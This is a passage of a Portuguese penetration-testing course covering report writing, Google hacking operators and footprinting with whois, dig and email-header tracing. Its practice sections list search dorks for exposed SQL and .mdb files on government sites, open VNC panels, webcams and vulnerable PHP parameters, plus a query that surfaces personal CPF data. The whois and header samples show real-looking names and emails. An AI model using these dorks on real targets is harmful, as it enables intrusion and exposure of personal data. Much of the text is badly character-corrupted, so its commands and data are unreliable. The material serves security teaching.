Contatos6 ao menos tr#s contatos( com e"mail( endereo e telefoneK
4ermisso assinada6 um documento assinado pelo responsvel pela
empresa( com os nomes das pessoas da equipe autori)adas a reali)ar os testes!
'entro do que foi acordado( devemos ter o m&imo cuidado para no causar
comprometimentos que tragam algum tipo de pre%u)o ao cliente( como a
indisponibilidade de informa*es vitais para o funcionamento organi)acional( por
e&emplo!
Mevando em conta esse aspecto( se possvel( interessante reprodu)ir o
ambiente de testes em mquina virtual para apro&imar"se do possvel
comportamento do ambiente testado antes de finalmente lanarmos alguns tipos de
ataques!
Isso evitaria a maior parte dos comprometimentos no plane%ados .
infraestrutura do cliente( e pode poupar muita dor de cabeaP
2.1. 2,erccios te3ricos
E Q 5ual o ob%etivo da O77T==8
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
H Q 5ual a necessidade da utili)ao de uma metodologia para reali)ar um teste
de invaso8
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - %$
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
S Q Cite algumas publica*es especiais da $I7T que poderiam ser utili)adas
para a reali)ao de um teste de invaso!
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
G Q 5uais as fases de um ataque8
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
Captulo 2 Introduo ao Teste de Invaso e tica ac!er - %1
Captulo #
2scrita de 4elat3rio
#.1. Objetivos
Entender o que um relat1rio
,prender o que deve conter em um relat1rio de teste de invaso
'esenvolver um modelo bsico de relat1rio de teste de invaso
Captulo # )scrita de *elat+rio - %2
#.2. O (ue 5 u' relat3rio6
2m relat1rio um con%unto de informa*es( utili)ado para reportar resultados
parciais ou totais de uma determinada atividade( e&perimento( pro%eto( ao(
pesquisa( ou outro evento( este%a finali)ado ou ainda em andamento!
$o caso de um teste de invaso( necessrio gerarmos um relat1rio final
contendo todos os passos reali)ados( comandos e programas utili)ados( alm dos
resultados obtidos e a avaliao dos mesmos!
#.#. O (ue deve conter no relat3rio
, estrutura bsica de um relat1rio de teste de invaso deve respeitar( ao
menos( os seguintes t1picos6
Capa
Onde deve estar presente o nvel de confidencialidade do documento! 'eve
apresentar tambm o nome do contratado e do contratante! Outra informao
importante o nome da pessoa ao qual o relat1rio est sendo endereado(
sendo o representante da contratante como e&posto no contrato de prestao
de servios!
%ndice
Facilitar a compreenso das se*es e&istentes no relat1rio e possibilitar a
busca posterior por t1picos especficos constantes no relat1rio! 'eve ser o mais
detalhado possvel!
Classifica&o do n'vel de confidencialidade do documento
$esta seo importante citar novamente o nvel de confidencialidade do
Captulo # )scrita de *elat+rio - %#
documento( destacando a quem o documento est endereado( com posterior
assinatura do representando do contratante e do contratado!
(umrio e)ecutivo
$o sumrio e&ecutivo conte&tuali)amos todo o teste de invaso( definindo os
horrios de reali)ao dos testes( as necessidades do teste de invaso
apresentadas pelo contratante( o retorno de investimento que um pen test pode
tra)er para a empresa e etc!
*efini&o do escopo
$a definio de escopo onde descrevemos o tipo e o nvel do teste reali)ado(
descrevendo o que foi e at onde foi testado! ,qui( nos baseamos nas
permiss*es que recebemos do contratante( de at onde podemos ir e o que
podemos fa)er!
*efini&o dos vetores de ata+ue
,qui entra o mapa mental que criamos com os possveis vetores de ataque e o
plane%amento para cada possibilidade! 'efinimos tambm as vrias
possibilidades de ataque( classificando"as de acordo com o nvel de facilidade
para alcanar o ob%etivo definido no escopo do teste!
Outro aspecto que entra nessa seo so os resultados obtidos com o
mapeamento da rede e a definio dos alvos!
!ta+ues realizados
$a definio dos ataques reali)ados( vrias informa*es devem estar contidas
nessas defini*es! 7o elas6
Ferramentas utili)adas
Captulo # )scrita de *elat+rio - %%
E&ploits e&ecutados
Comandos utili)ados
Aesultados recebidos
Classificao das vulnerabilidades por nvel de facilidade de e&plorao(
popularidade( impacto( e tirando a mdia desses S( informando o risco!
(olu&o
Essa ?ltima seo onde informamos possveis solu*es para as
vulnerabilidades encontradas!
Captulo 3 Escrita de Relatrio - 45
Captulo 4
Google Hacking
4.1. Objetivos
Entender o que Google Hacking
Conhecer os riscos que o Google traz
Aprender como usar o Google como ferramenta auxiliar para um pentest
Conhecer os principais comandos do Google
Aprender como encontrar buscas pr-definidas, utilizando o GH
Captulo 4 Google Hacking - 46
4.2. Google Hacking
Google Hacking a ati!idade de usar recursos de busca do site, !isando
atacar ou proteger melhor as informa"#es de uma empresa$ As informa"#es
dispon%!eis nos ser!idores &eb da empresa pro!a!elmente estar'o nas bases de
dados do Google$
(m ser!idor mal configurado pode expor di!ersas informa"#es da empresa no
Google$ )'o dif%cil conseguir acesso a arqui!os de base de dados de sites atra!s
do Google$
* Google possui di!ersos recursos que podem ser utilizados durante um teste
de in!as'o, e +ustamente por isso considerada a melhor ferramenta para os
hackers, pois permite acesso a todo e qualquer tipo de informa"'o que se queira$
,odemos usar como exemplo, o recurso de -cache. do Google, onde o mesmo
armazena !ers#es mais antigas de todos os sites que um dia +/0 foram indexados por
seus rob1s$
Esse recurso permite que tenhamos acesso 2s p0ginas que +0 foram tiradas do
ar, desde que ainda existam na base de dados do Google$ 3amos imaginar que em
algum momento da hist4ria do site de uma organiza"'o, uma informa"'o mais
sens%!el esti!esse dispon%!el$ epois de um tempo, o &ebmaster tendo sido alertado
retirou tal informa"'o do site$ )o entanto, se a p0gina do site +0 ti!er sido indexada
pelo Google, poss%!el que mesmo tendo sido alterada, ou retirada, ainda possamos
acess0-la utilizando o recurso de cache do Google$
Captulo 4 Google Hacking - 47
4.3. Comandos Avanados do Google
4.3.1. intitle, allintitle
5usca conte6do no t%tulo 7tag title8 da p0gina$
9uando utilizamos o comando intitle, importante prestar aten"'o 2 sintaxe
da string de busca, posto que a pala!ra que segue logo ap4s o comando intitle
considerada como a string de busca$ * comando allintitle quebra essa regra, dizendo
ao Google que todas as pala!ras que seguem de!em ser encontradas no title da
p0gina, por isso, esse 6ltimo comando mais restriti!o$
4.3.2. inurl, allinurl
Encontra texto em uma (:;$
Como explicado no operador intitle, pode parecer uma tarefa relati!amente
simples utilizar o operador inurl sem dar maior aten"'o ao mesmo$ <as de!emos ter
em mente que uma (:; mais complicada do que um simples title, e o
funcionamento do operador inurl pode ser igualmente complexo$
Assim como o operador intitle, inurl tambm possui um operador
companheiro, que o allinurl, que funciona de maneira id=ntica e de forma restriti!a,
exibindo resultados apenas em que todas as strings foram encontradas$
4.3.3. filetype
5usca por um arqui!o de determinado tipo$
* Google pesquisa mais do que apenas p0ginas &eb$ > poss%!el pesquisar
muitos tipos diferentes de arqui!os, incluindo ,? 7Adobe ,ortable ocument
?ormat8 e <icrosoft *ffice$ * operador filet@pe pode a+ud0-lo na busca de tipo de
arqui!os espec%ficos$ <ais especificamente, podemos utilizar esse operador para
pesquisas de p0ginas que terminam em uma determinada extens'o$
Captulo 4 Google Hacking - 48
4.3.4. allintext
;ocaliza uma string dentro do texto de uma p0gina$
* operador allintext tal!ez o mais simples de usar, pois realiza a fun"'o de
busca mais conhecida comoA localize o termo no texto da p0gina$
Embora este operador possa parecer genrico para ser utilizado, de grande
a+uda quando sabe que a string de busca apenas poder0 ser encontrada no texto da
p0gina$ (tilizar o operador allintext tambm pode ser!ir como um atalho para
Bencontrar esta string em qualquer lugar, exceto no title, (:; e linksB$
4.3.5. site
ireciona a pesquisa para o conte6do de um determinado site$
Apesar de ser tecnicamente uma parte da (:;, o endere"o 7ou nome de
dom%nio8 de um ser!idor pode ser mais bem pesquisada com o operador site$ Site
permite que !oc= procure apenas as p0ginas que est'o hospedadas em um ser!idor
ou dom%nio espec%fico$
4.3.6. link
5usca por links para uma determinada p0gina$
Em !ez de fornecer um termo de pesquisa, o operador necessita de um link
(:; ou nome do ser!idor como um argumento$
4.3.7. inanchor
;ocaliza texto dentro de uma Cncora de texto$
Este operador pode ser considerado um companheiro para o operador link,
uma !ez que ambos buscam links$ * operado inanchor, no entanto, pesquisa a
representa"'o de texto de um link, n'o o (:; atual$
Dnanchor aceita uma pala!ra ou express'o como argumento, como
Captulo 4 Google Hacking - 49
inanchorAclick ou inanchorAElinux$ Este tipo de pesquisa ser0 6til especialmente
quando come"amos a estudar formas de buscar rela"#es entre sites$
4.3.8. daterange
5usca por p0ginas publicadas dentro de um -range. de datas$
3oc= pode usar este operador para localizar p0ginas indexadas pelo Google
em um determinado inter!alo de datas$ Foda !ez que o Google rastreia uma p0gina, a
data em sua base de dados alterada$ Ge o Google localizar alguma p0gina Heb
obscura, pode acontecer de index0-la apenas uma !ez e nunca retornar 2 ela$
Ge !oc= achar que suas pesquisas est'o entupidas com esses tipos de p0ginas
obscuras, !oc= pode remo!=-las de sua pesquisa 7e obter resultados mais atualizados8
atra!s do uso eficaz do operador daterange$
;embrando que a data de!e ser informada no formato do calend0rio Iuliano,
informando o n6mero de dias existentes entre EJKL AC e a data em que se quer
buscar$
4.3.9. cache
<ostra a !ers'o em cache de uma determinada p0gina$
Como +0 discutimos, o Google mantm BsnapshotsB de p0ginas que indexou e
que podemos acessar atra!s do link em cache na p0gina de resultados de busca$ Ge
quiser ir direto para a !ers'o em cache de uma p0gina, sem antes fazer uma consulta
ao Google para chegar ao link em cache na p0gina de resultados, !oc= pode
simplesmente usar o operador cache em uma consulta, como cacheAblackhat$com ou
cacheAwww.netsec.net/content/index.jsp$
4.3.1. info
<ostra conte6do existente no sum0rio de informa"#es do Google$
Captulo 4 Google Hacking - 5
* operador info mostra o resumo das informa"#es de um site e fornece links
para outras pesquisas do Google que podem pertencer a este site$ * parCmetro
informado 2 este operador, de!e ser uma (:; !0lida$
4.3.11. related
<ostra sites relacionados$
* operador related exibe o que o Google determinou como relacionado a um
determinado site$ * parCmetro para esse operador uma (:; !0lida$ > poss%!el
conseguir essa mesma funcionalidade, clicando no link BGimilar ,agesB a partir de
qualquer p0gina de resultados de busca, ou usando o B?ind pages similar to the
pageB da p0gina do formul0rio de pesquisa a!an"ada
Dica: Se voc est realizando um pentest em um site chins, para que usar
um google.com.r! " #oogle prioriza os resultados para determinados
wesites. $aramente voc v pginas escritas em japons, chins, rae e
outros quando usa o google.com.r, n%o! &ma oa usca ' (eita em
servidores di(erentes, com pa)ses di(erentes.
4.4. Google Hacking atabase
H0 um banco de dados !irtual, com tags de busca no Google pre!iamente
criadas, para conseguir informa"#es espec%ficas$
A partir das tags existentes, podemos encontrar muitas coisas interessantes
sem precisarmos nos preocupar em como desen!ol!er buscas espec%ficas, utilizando
os operadores do Google, e test0-las at conseguirmos que os filtros corretos
funcionem$
<as o mais importante que de!emos manter em mente, a possibilidade e
adaptar tais tags de busca para nossas necessidades$
Captulo 4 Google Hacking - 5!
#oogle *ac+ing Dataase: http://johnn,.ihac+stu((.com/ghd/
4.!. "evantamento de in#o$ma%es
* Google a principal ferramenta para o le!antamento de informa"#es de
nosso al!o$ > o melhor sistema p6blico para utilizarmos em busca de informa"#es
sobre qualquer coisa em rela"'o ao nosso al!oA sites, propagandas, parceiros, redes
sociais, grupos e etc$
Alm do Google, h0 outros sites espec%ficos que auxiliam no processo de
le!antamento de informa"#es, os quais conheceremos mais adiante$
(m simples exemplo do que podemos encontrar no Google, e que pode !oltar-
se contra a pessoa que disponibilizou tais informa"#es online, o seguinteA digitar na
caixa de busca curr%culo M cpf $
Certamente !0rios resultados retornar'o com links onde podemos encontrar
nome completo, endere"o, telefone, C,?, identidade e mais algumas informa"#es das
pessoas que disponibilizaram seus dados na internet$ Fendo conhecimento de como
esses dados podem ser utilizados de maneira maliciosa, podemos ter mais
consci=ncia ao publicarmos quaisquer informa"#es nossas na internet$
4.&. Cont$amedidas
,ossuir uma boa pol%tica referente 2s publica"#es de informa"#es na internet$
)'o deixar configura"#es padr'o em ser!idores &eb, para que os mesmos n'o
consigam ser identificados facilmente$
Gempre analisar as informa"#es dispon%!eis sobre a empresa em sites de busca$
Alertar e treinar os funcion0rios da empresa com rela"'o a maneira com que
um ataque de engenharia social pode acontecer, e as poss%!eis informa"#es que
o atacante poder0 usar nesse ataque$
Captulo 4 Google Hacking - 5"
4.'. ($)tica di$igida
5usca por arqui!os de base de dados em sites do go!ernoA
siteAgo!$br extAsql
5usca por um ser!idor espec%fico
inurlABpo&ered b@B siteAsistema$com$br
A pesquisa busca arqui!os de e-mail em formato $mdb
inurlAe-mail filet@peAmdb
Essa pesquisa busca telefones dispon%!eis em intranet encontradas pelo
Google
inurlAintranet M intextABtelefoneB
:ealizando uma pesquisa dessa maneira poss%!el identificar muitos dos
subdom%nios da *racle
siteAoracle$com -siteA&&&$oracle$com
etectando sistemas que usando a porta NONO
inurlANONO -intextANONO
Encontrando 3)C
intitleA3)C inurlAPNOO intitleA3)C
Encontrando 3)C
intitleAB3)C 3ie&er for Ia!aB
Captulo 4 Google Hacking - 53
Encontrando Hebcam ati!a
BActi!e Hebcam ,ageB inurlANONO
Encontrando Hebcam da toshibaA
intitleABtoshiba net&ork camera - (ser ;oginB
Encontrando Apache K$L$QOA
BApacheRK$L$QO ser!er atB intitleAindex$of
Asterisk 3*D, ?lash Dnterface
intitleAB?lash *perator ,anelB -extAphp -&iki -cms -inurlAas
,oss%!eis falhas em aplica"#es &ebA
allinurlAB$phpSsiteTB
allinurlAB$phpSdoTB
allinurlAB$phpScontentTB
allinurlAB$phpSmeioTB
allinurlAB$phpSprodutoTB
allinurlAB$phpScatTB
Captulo 4 Google Hacking - 54
Captulo 5
Levantamento de Informaes
5.1. Objetivos
Conhecer os principais meios para coletar informaes sobre o alvo
Coletar informaes utilizando ferramentas pblicas
Coletar informaes utilizando ferramentas especficas
Levantar domnios utilizando consultas pblicas e ferramentas
Captulo 5 Levantamento de Informaes - 55
5.2. Footprint
Footprint a primeira etapa a ser realizada em um teste de intruso. Durante
essa etapa o !en"tester coleta o m#$imo de informaes para alimentar a anatomia
de ata%ue. !odemos dizer %ue a fase em %ue o !en"tester se prepara para realizar o
ata%ue.
&m mdia um !en"tester 'asta ()* do tempo analisando um alvo e
levantando informaes sobre o mesmo. +penas ,)* do tempo e usado para realizar
o ata%ue e avaliar a possibilidade de um atacante realizar procedimentos p-s"invaso
na m#%uina alvo.
.uando estamos realizando um footprint devemos buscar informaes
relativas / topolo'ia da rede sistemas operacionais %uantidade de m#%uinas e
localizao fsica. +lm disso importante tambm descobrir informaes sobre os
funcion#rios da empresa como0 emails car'os e tambm funo especfica no
ambiente.
"!"me seis #oras para $ortar uma %rvore& e eu 'astarei as
primeiras (uatro #oras afiando o ma$#ado."
Abraham Lincoln
5.). *or onde $omear+
1 primeiro passo para comear a coleta de informaes nave'ar no 2ebsite
do alvo. 3amos tomar como e$emplo o 2ebsite %ue hospeda o 4ernel Linu$. +bra o
nave'ador e aponte para http055222.4ernel.or'.
.ue tipo de informaes voc6 conse'uiu encontrar no site7
8este site h# pelo menos tr6s informaes %ue um crac4er levaria em
considerao0
Dois e"mails v#lidos
Captulo 5 Levantamento de Informaes - 56
9m endereo para acompanhar as estatsticas dos servidores
& uma lista com tecnolo'ias e fornecedores

8o acredita7 &nto de uma olhada0
1s e"mails so 2ebmaster:4ernel.or' e ftpadmin:4ernel.or'
http055cacti.4ernel.or'5'raph;vie2.php7action<previe2
http055222.4ernel.or'5po2ered.html
+inda no encontrou7 &nto e$perimente olhar o c-di'o fonte da aplicao=
Como vimos um simples acesso e um pouco de observao no site do alvo
pode nos fornecer al'umas informaes no mnimo interessantes. Depois de observar
um 2ebsite / procura de informaes o pr-$imo passo pes%uisar sobre coisas no
to -bvias porm ainda sim pblicas.
5.,. Consulta a informaes de domnio
+p-s observar o site do alvo de interesse do atacante conhecer detalhes
referentes ao nome de domnio do cliente. + primeira coisa a ser feita buscar
informaes sobre o propriet#rio de um domnio. >sso pode ser feito utilizando o
comando 2hois.
#whois 4linux.com.br
3amos %ual o resultado %ue obtemos a esse comando0
domain: 4linux.com.br
owner: 4linux Software e Comrcio de Programas Ltda
ownerid: 004.49.!"#000$9!
res%onsible: &odolfo 'obbi
countr(: )&
owner$c: &*'4+
admin$c: &*'4+
Captulo 5 Levantamento de Informaes - 5
tech$c: C,-./
billing$c: &*'4+
nser0er: ns.4linux.com.br "00.""."".+1
nsstat: "00022 --
nslastaa: "00022
nser0er: ns".4linux.com.br 22.3.31.!3
nsstat: "00022 --
nslastaa: "00022
created: "000!3 #!29+!0
ex%ires: "00!3
changed: "000!"!
status: %ublished
nic$hdl$br: C,-./
%erson: Cesar -ugusto .omingos
e$mail: cesar.domingos4gmail.com
created: "00109"!
changed: "00109"!
nic$hdl$br: &*'4+
%erson: &odolfo *ose 5artorano 'obbi
e$mail: adm44linux.com.br
created: "00409
changed: "0010!0"
!odemos concluir %ue com um simples comando disponvel em praticamente
%ual%uer sistema operacional foi possvel obter o nome do respons#vel pelo domnio
o nome do respons#vel tcnico pelo domnio o nome dos dois servidores de D8? e o
C8!@ da empresa localizado no campo o2nerid.
+lm da consulta 2hois em sistemas operacionais possvel ainda utilizar
servios %ue consultam o a base de dados de propriet#rios de domnios atravs de
ferramentas 2eb como o pr-prio http055re'istro.br por e$emplo.
Captulo 5 Levantamento de Informaes - 5!
htt%s:##registro.br#cgi$bin#whois#
?e compararmos a sada do site com a sada do comando 2hois veremos %ue
o resultado id6ntico.
A importante saber %ue para cada re'io do mundo inteiro h# or'anizaes
respons#veis pelo re'istro de domnios acima das or'anizaes respons#veis pelos
re'istros em cada pas.
8o %uadro abai$o temos o nome e o endereo das or'anizaes respons#veis
em cada parte do 'lobo pelo 'erenciamento e liberao de domnio Bincluindo o
'rupo de >!sC para cada re'io0
5.5. Consultando servidores -.
Como sabemos os servidores D8? so respons#veis por traduzir os nomes
canDnicos de um domnio para o seu respectivo endereo >!. ?endo assim um
servidor D8? conhece todos servidores %ue esto acessveis atravs da rede pblica.
3amos consult#"lo ento.
dig $t 56 4linux.com.br
dig $t 7S 4linux.com.br
1s campos EF e 8? fornecem respectivamente o nome dos servidores de e"
mail e o nome de todos os servidores de D8?.
Captulo 5 Levantamento de Informaes - 5"
Com essa consulta G# conse'uimos inclusive endereos de servidores %ue
utilizaremos em nossa varredura e enumerao de servios.
5./. Consultando 0ebsites anti'os
+lm da possibilidade de utilizarmos a opo em cache do Hoo'le possvel
utilizarmos outros servios %ue possibilitam %ue acessemos verses mais anti'as de
%ual%uer site %ue G# tenha sido publicado na 2eb.
htt%:##www.archi0e.org
Com isso podemos encontrar informaes %ue podem ser teis
principalmente para ata%ues de en'enharia social pois encontramos produtos
anti'os e$"funcion#rios informaes %ue foram retiradas do site por serem sensveis
e etc.
9tilizando esse servio e pes%uisando o site da ILinu$ obtemos o se'uinte
resultado0
Captulo 5 Levantamento de Informaes - 6#
5.1. 2ebspiders
Jebspiders so pro'ramas %ue nave'am automaticamente por 2ebsites para
coletar informaes. !ensando no Hoo'le um 2ebspider feito pelo Hoo'le nave'a
pelos lin4s das p#'inas e alimenta uma base de dados do Hoo'le %ue usada para
consultas durante as buscas realizadas pelos usu#rios.
3amos parar e lembrar como funcionavam anti'amente os sistemas de buscas
como Kahoo= Cade7 +onde.com dentre outros. +nti'amente n-s precis#vamos
cadastrar os nossos sites e as palavras chave referentes ao site para ele ser
encontrado durante as buscas. !orm o Hoo'le inovou na maneira de alimentar as
bases de dados dele usando 2ebspider. LoGe basta %ue um site esteGa na internet e
lin4ado para %ue ele aparea nas bases do Hoo'le sem precisar de nenhum cadastro
por parte do criador do site nas ferramentas de buscas. !orm isso e$pDs muitas
informaes e para isso foram criados os ar%uivos robots.t$t.
9m 2ebspider consulta o ar%uivo robots.t$t %ue est# localizado no diret-rio
raiz do 2ebsite para saber %uais ar%uivos ele no deve analisar. !ortanto os ar%uivos
ou diret-rios %ue esto listados em um ar%uivo robots.t$t no aparecero nos
resultados das buscas realizadas em sites como o Hoo'le.
3amos a um e$emplo0
htt%:##www.4linux.com.br#robots.txt
!ortanto os ar%uivos robots.t$t podem revelar para n-s informaes sobre
ar%uivos e diret-rios %ue poderamos no conhecer e at mesmo no estar lin4ado no
site.
Eais informaes sobre os ar%uivos robots.t$t podem ser obtidas no site
htt%:##www.robotstxt.org#orig.html
5.3. -et$raft
8etcraft uma empresa europia %ue prove servios de internet. Dentro de
Captulo 5 Levantamento de Informaes - 6$
al'uns servios %ue ela fornece est# a an#lise de mercado para empresas de 2eb
hostin' e servidores 2eb incluindo deteco do sistema operacional e verso do
servidor 2eb e em al'uns casos informaes sobre uptime do servidor G# %ue
normalmente esse fator determinante na escolha de uma empresa de hospeda'em
de sites.
!ara n-s pode ser til para e$ibir a verso do sistema operacional e servidor
2eb %ue um determinado host est# usando alm de manter um hist-rico das verses
%ue o mesmo host G# usou anteriormente.
8tt%:##www.netcraft.com
5.4. 5us$ando rela$ionamentos
+travs de relacionamentos encontrados na 2eb podemos conse'uir mais
informaes de nosso alvo.
>nformaes de relacionamentos podem ser encontradas em site com lin4s
para o site do alvo sites secund#rios %ue tem relao com o site principal do alvo
companhias %ue fazem ne'-cios ou esto sob a mesma administrao %ue nosso alvo
e etc.
&ssas servem para entendermos melhor como a or'anizao trabalha se
possui outros ramos de atividades or'anizaes MirmsN e parcerias. Com tais
informaes em mos e um melhor conhecimento da estrutura or'anizacional
podemos inclusive realizar ata%ues de en'enharia social mais eficazes.
1 Hoo'le nos fornece al'uns operadores %ue nos au$iliam nessa busca e %ue
G# estudamos anteriormente. ?o eles0
info
lin4
related
Captulo 5 Levantamento de Informaes - 6%
htt%:##www.unmas9%arasites.com#
5.16. *r%ti$a diri'ida
3amos realizar al'umas consultas=
+ partir do site 222.Ilinu$.com.br consi'a o m#$imo de informaes possveis
a partir dos se'uintes comandos0
Jhois 0 retornar# o resultado da consulta / entidade respons#vel pelos
re'istros de domnio no nosso caso o re'istro.br. Conse'uiremos
nome dos respons#veis telefone C!F ou C8!@ endereo e"mail e etc.
Di' 0 conse'uiremos informaes sobre os servidores onde o domnio
est# hospedado. Oeremos o endereo do servidor de domnio e de e"
mail por e$emplo.
8sloo4up 0 retornar# o >! do domnio e o nome do mesmo incluindo a
porta a partir da %ual o servidor est# respondendo Bno caso do D8? a
padro a P,C.
www.netcraft.com 0 permite %ue saibamos %ual sistema operacional o
servidor est# e$ecutando com uma pro$imidade pr-$ima da certeza.
+lm disso conse'uiremos o nome do servidor endereo >! pas onde
o mesmo est# localizado servidor de D8? e se di'itarmos apenas o
domnio BIlinu$.com.brC encontraremos sites relacionados ao mesmo
domnio como 2ebclass.Ilinu$.com.br por e$emplo.
www."+%eo%le.com 0 esse site no busca informaes sobre domnio
mas sobre pessoas. 8a consulta com o 2hois obtivemos al'uns nomes
e nesse site podemos consultar as refer6ncias na 2eb acerca desse
nome Bnotcias arti'os posta'ens relevantesC.
Captulo 5 Levantamento de Informaes - 6&
Com cada um desses comandos e sites conse'uiremos al'umas informaes
diferentes %ue nos aGudaro na pr-$ima fase de nosso teste.
5.11. 7astreamento de 8"mails
+ an#lise de e"mails normalmente feita pela #rea de Forense Computacional.
!orm podemos usar um e"mail para obter informaes sobre o host da pessoa
%uando esse no de conhecimento do atacante e precisa ser descoberto pois um
possvel alvo.
1 correio eletrDnico dividido em duas partes0 Cabealho BLeaderC e Corpo
BQodRC do e"mail. 8o cabealho onde encontramos diversos campos com
informaes de controle destinat#rio remetente data de envio dentre outras
informaes.
& no corpo da mensa'em %ue encontramos a mensa'em em si.
De acordo com a Sfc TUTV 5 TUTT temos os se'uintes campos presentes no
cabealho de um e"mail0
Campos de ori'em0
MFrom0N " autor da mensa'em
M?ender0N " remetente da mensa'em
MSeplR"to0N " e"mail su'erido pelo autor da mensa'em para %ue as
respostas seGam enviadas
Campos de destino0
MOo0N " endereo dos receptores prim#rios da mensa'em
MCc0N " Carbon CopR W recebero uma c-pia da mensa'em com o e"
mail visvel para todos
MQcc0N " Qlind Carbon CopR W recebero uma c-pia da mensa'em sem
ter o e"mail visvel para todos
Campo de data de ori'em0
Captulo 5 Levantamento de Informaes - 64
MDate0N W Lora da criao da mensa'em
Campos de identificao0
MEessa'e">D0N W >dentificador de mensa'em nico. 3alor nico
determinado pelo servidor %ue transmite a mensa'emX
M>n"SeplR"Oo0N W 9sado %uando uma mensa'em respondida.
>dentificador da mensa'em respondidaX
MSeferences0N W 9sado %uando uma mensa'em respondida.
Sefer6ncias.
Campos de informao0
M?ubGect0N W +ssunto da mensa'emX
MComments0N W Coment#rios sobre a mensa'emX
MYeR2ords0N W !alavras chaves relacionadas / mensa'emX
Campos de Sastreamento0
MSeturn"!ath0N W Caminho de volta da mensa'em para o remetente.
&sse campo adicionado pelo ltimo EO+ %ue entre'a o e"mail ao
destinat#rio
MSeceived0N W Contm informaes para aGudar na an#lise de
problemas com a entre'a e recebimento das mensa'ens. Oodo e"mail
possui pelo menos um campo MSeceivedN %ue adicionado por cada
servidor onde a mensa'em passa.
1 campo %ue interessa a n-s o campo MSeceived0N %ue contm informaes
sobre o endereo >! de onde a mensa'em de correio eletrDnico partiu.
3amos ver um e$emplo de cabealho0
Captulo 5 Levantamento de Informaes - 65
Teste de cabealho de e-mail
Sexta-feira, 7 de Maio de 2010 11:56
From Li! "ieira Fri Ma# 7 1$:56:10 2010
%-&''are(tl#-To: lo)i*br+#ahoo,com,br -ia 67,1.5,/,1.00 Fri, 07 Ma# 2010 07:56:16 -0700
2etr(-3ath: 4li!5t+6mail,com7
%-8Mail9S::
;22:</=>L;-1S52h,i1(2?*2M@ot#A/f=6)'#6-)LAB6"%e0o.d/!1C2i*@!3'.l-/s:xD=FECoS:D=Acm'?D<6F29=l06
Dt'6ms;oC(68of$Ca):F<a<1rF&8x1/#<5t)!"f'F23,a=,;GBmBh)b'&d&'HDdbiM<;?F=x5(5:o"B1CMtx5A?0&<#S$!
131M,0*$*02<e7sb611FB.#3@6b5f$:H6&2lAA0?3FF2"6,.Ht59:!tB$lchd=,5FHe5@>"dx8*-m8!2%xc,Ir1#cra61=0/l
d1tMTdaF2f7)G1F20D&dxm1#728>%3lL/$c2%%0&D8>6E3o&6F17l-"695)L?%T/f?7&e!"6r7;@3b9?e1fi("6%5
mH;FsmHic&x5'h2060<G6&$Bah1.chx22:bT12?.'))8aF1i"-2fE?:/l%ed37d!%CMF5%2:T;m15<&Gf&',!0S&--
%-Fri6i(ati(6-93: J20.,/5,217,21.K
&the(ticatio(-2eslts: mta107.,mail,s)1,#ahoo,com fromL6mail,com0 domai()e#sL'ass Mo)N0 fromL6mail,com0
d)imL'ass Mo)N
2ecei-ed: from 127,0,0,1 M=@LF mail-6x0-f21.,6oo6le,comN M20.,/5,217,21.N b# mta107.,mail,s)1,#ahoo,com
5ith SMT30 Fri, 07 Ma# 2010 07:56:16 -0700
2ecei-ed: b# mail-6x0-f21.,6oo6le,com 5ith SMT3 id 1.so66010/6x),0 for 4lo)i*br+#ahoo,com,br70 Fri, 07
Ma# 2010 07:56:15 -0700 M3;TN
;D9M-Si6(atre: -L10 aLrsa-sha2560 cLrelaxedOrelaxed0 dL6mail,com0 sL6amma0 hLdomai()e#-
si6(atre:recei-ed:mime--ersio(:recei-ed:from:date :messa6e-id:sbAect:to:co(te(t-t#'e0
bhL!s2!%A8M#$<;i>#cSF@oH$D65II3?2mLafs62O)xi5L0
bLH8)IF1%f1#D)xH=x7G-<ma>Oc><=M&Or16T$3I1CSD5e"DGCo.H.h2$s5>%5i27-iL
T"SM2s.lx?=;e!e7exMMS1&MA#h2x!'7??6/bE$xoI"2028"9)>GTs!@t$d#)&L';A
A>.xeA<1s)(AHsTFG'2FbbGBi&66'=LFci>29L
;omai(De#-Si6(atre: aLrsa-sha10 cL(of5s0 dL6mail,com0 sL6amma0 hLmime--ersio(:from:date:messa6e-
id:sbAect:to:co(te(t-t#'e0 bLMed0d.G#5:I25%a!f5(dI-B%1EC<G@/"oLlEhdHrMo&?sc#?!5mx=Oi61c#@0L
Be.C5'BH2#!7S<A5oB20ea3":52fd6O3H<6;<.isD-8h"EBDd-.CG"DS&F2ESE602s5a
S@G9CcbB#3%h3%8)6:D<;I&DTH1T#O$E(D=%=L
2ecei-ed: b# 10,150,2$1,17 5ith SMT3 id B17mr$16/.07#bh,101,12712$$1.0.250 Fri, 07 Ma# 2010 07:56:10
-0700 M3;TN
M9M=-"ersio(: 1,0
Received: by 10.151.8.14 with HTTP; Fri, 7 May 2010 07:56:10 0700 !P"T#
From: =ste remete(te P -erificado 'elo ;omai(De#s
Li! "ieira 4li!5t+6mail,com7
&dicio(ar remete(te Q lista de co(tatos
;ate: Fri, 7 Ma# 2010 11:56:10 -0100
Messa6e-9;: 4r2-$da5/20/1005070756'c0de571f7/a5.b6aa..d$bb2+mail,6mail,com7
SbAect: LR9SF-//5.-1R?RTeste*de*cabeL=7alho*de*eL2;mailRL
To: lo)i*br+#ahoo,com,br
Ho(te(t-T#'e: mlti'artOalter(ati-e0 bo(dar#L000e0cd2./60b6e12e0$/602$1f6
Ho(te(t-Le(6th: $/2
8a do cabealho sublinha e em ne'rito encontramos o >! de %uem enviou
essa mensa'em no caso o >! V).VPV.U.VI . 8o cabealho podemos encontrar v#rios
